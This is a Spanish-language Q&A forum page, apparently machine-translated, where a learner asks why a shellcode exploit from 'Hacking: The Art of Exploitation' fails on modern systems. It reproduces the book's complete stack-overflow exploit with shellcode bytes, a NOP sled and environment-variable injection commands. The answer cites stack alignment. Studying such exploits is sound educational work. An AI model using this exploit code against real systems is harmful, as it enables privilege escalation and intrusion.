¿Por qué no esta shellcode ejecutar?

0

Pregunta

Estoy trabajando a través de la Piratería: el Arte de La Explotación y estoy corriendo en mi primera pega tratando de conseguir un trabajo conocido explotar a ejecutar desde el libro a través de una variable de entorno. Todos los programas fueron compilados con -fno-stack-protector -zexecstack -no-pie -fno-pie.

Ejecución exploit_notesearch.c (aunque con un desplazamiento específico), yo era capaz de conseguir la hazaña de meter un shell moviendo el desplazamiento con argv[1]. Esto funciona en sistemas operativos modernos (con ASLR movilidad), así como el cd de instalación incluido con el libro.

notesearch.c

exploit_notesearch.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=208;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}

Más adelante en el capítulo, se establece la shellcode a una variable de entorno y el intento de redirigir el flujo de el lugar en la pila donde la SHELLCODE variable de entorno se establece, a mitad de camino a través de la antepuesto NOP sled. Sin embargo, esto nunca se ejecuta el exploit en los modernos sistemas operativos, pero funciona bien en Ubuntu 7.04 live CD que viene con el libro. shellcode.bin es la shellcode en la parte superior de la exploit_notesearch.c archivo corrió con echo -en y redirige a un archivo.

$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled

¿Qué está pasando aquí que ha cambiado entre los antiguos sistemas operativos y moderna? Hay una protección que no me he enterado de que es la prevención de viajar en el NOP sled a la shellcode?

Gracias.

c environment-variables shellcode
2021-11-24 04:34:00
1

Mejor respuesta

0

El problema era la pila de la alineación, al compilar con -mpreferred-stack-boundary=2 alinea la pila de forma similar a la del libro.

2021-11-24 15:24:48

En otros idiomas

Esta página está en otros idiomas

Русский
..................................................................................................................
Italiano
..................................................................................................................
Polski
..................................................................................................................
Română
..................................................................................................................
한국어
..................................................................................................................
हिन्दी
..................................................................................................................
Français
..................................................................................................................
Türk
..................................................................................................................
Česk
..................................................................................................................
Português
..................................................................................................................
ไทย
..................................................................................................................
中文
..................................................................................................................
Slovenský
..................................................................................................................